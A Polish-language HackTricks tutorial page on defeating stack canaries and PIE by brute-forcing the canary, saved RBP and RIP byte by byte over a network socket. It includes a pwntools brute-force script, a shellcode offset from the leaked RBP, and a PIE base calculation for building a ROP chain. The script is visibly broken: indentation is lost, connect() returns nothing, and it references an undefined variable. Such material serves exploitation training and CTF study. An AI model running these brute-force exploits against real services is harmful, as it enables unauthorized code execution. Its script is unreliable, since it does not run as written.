BF Addresses in the Stack

Naucz się i praktykuj Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Naucz się i praktykuj Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wesprzyj HackTricks

Sprawdź plany subskrypcyjne!
Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
Udostępnij sztuczki hakerskie, przesyłając PR-y do HackTricks i HackTricks Cloud na githubie.

Jeśli masz do czynienia z binarnym plikiem zabezpieczonym przez canary i PIE (Position Independent Executable), prawdopodobnie będziesz musiał znaleźć sposób na ich obejście.

Zauważ, że checksec może nie wykryć, że binarny plik jest chroniony przez canary, jeśli został on skompilowany statycznie i nie jest w stanie zidentyfikować funkcji. Możesz jednak zauważyć to ręcznie, jeśli zauważysz, że wartość jest zapisywana na stosie na początku wywołania funkcji, a następnie sprawdzana przed wyjściem.

Adresy Brute-Force

Aby obejść PIE, musisz wyciec pewien adres. Jeśli binarny plik nie wycieka żadnych adresów, najlepiej jest przeprowadzić atak brute-force na RBP i RIP zapisane na stosie w podatnej funkcji. Na przykład, jeśli binarny plik jest chroniony zarówno przez canary, jak i PIE, możesz zacząć atak brute-force na canary, a następnie następne 8 bajtów (x64) będą zapisane jako RBP, a kolejne 8 bajtów będą zapisane jako RIP.

Założenie jest takie, że adres powrotu na stosie należy do kodu binarnego głównego, który, jeśli podatność znajduje się w kodzie binarnym, zazwyczaj będzie miało miejsce.

Aby przeprowadzić atak brute-force na RBP i RIP z binarnego pliku, możesz ustalić, że poprawny zgadnięty bajt jest poprawny, jeśli program coś wypisuje lub po prostu nie crashuje. Ta sama funkcja, co ta używana do ataku brute-force na canary, może być użyta do ataku brute-force na RBP i RIP:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Ostatnią rzeczą, którą musisz zrobić, aby pokonać PIE, jest obliczenie użytecznych adresów z wyciekłych adresów: RBP i RIP.

Z RBP możesz obliczyć gdzie piszesz swój shell na stosie. Może to być bardzo przydatne, aby wiedzieć, gdzie zamierzasz zapisać ciąg "/bin/sh\x00" wewnątrz stosu. Aby obliczyć odległość między wyciekiem RBP a swoim kodem shell, wystarczy ustawić punkt przerwania po wycieku RBP i sprawdzić gdzie znajduje się twój kod shell, a następnie obliczyć odległość między kodem shell a RBP:

INI_SHELLCODE = RBP - 1152

Z RIP można obliczyć bazowy adres binarny PIE, który będzie potrzebny do utworzenia poprawnego łańcucha ROP. Aby obliczyć bazowy adres, wystarczy wykonać objdump -d vunbinary i sprawdzić ostatnie adresy rozkładu:

W tym przykładzie widać, że potrzebne jest tylko 1,5 bajta, aby zlokalizować cały kod, więc w tej sytuacji bazowy adres będzie to wycieknięty RIP, ale zakończony na "000". Na przykład, jeśli wyciekł 0x562002970ecf, bazowy adres to 0x562002970000

elf.address = RIP - (RIP & 0xfff)

Poprawki

Zgodnie z pewnymi obserwacjami z tego posta, możliwe jest, że wyciekając wartości RBP i RIP, serwer nie ulegnie awarii przy niektórych wartościach, które nie są poprawne, a skrypt BF będzie myślał, że otrzymał te właściwe. Dzieje się tak dlatego, że niektóre adresy po prostu nie spowodują awarii, nawet jeśli nie są to dokładnie te poprawne.

Zgodnie z tym wpisem na blogu zaleca się dodanie krótkiego opóźnienia między żądaniami wysyłanymi do serwera.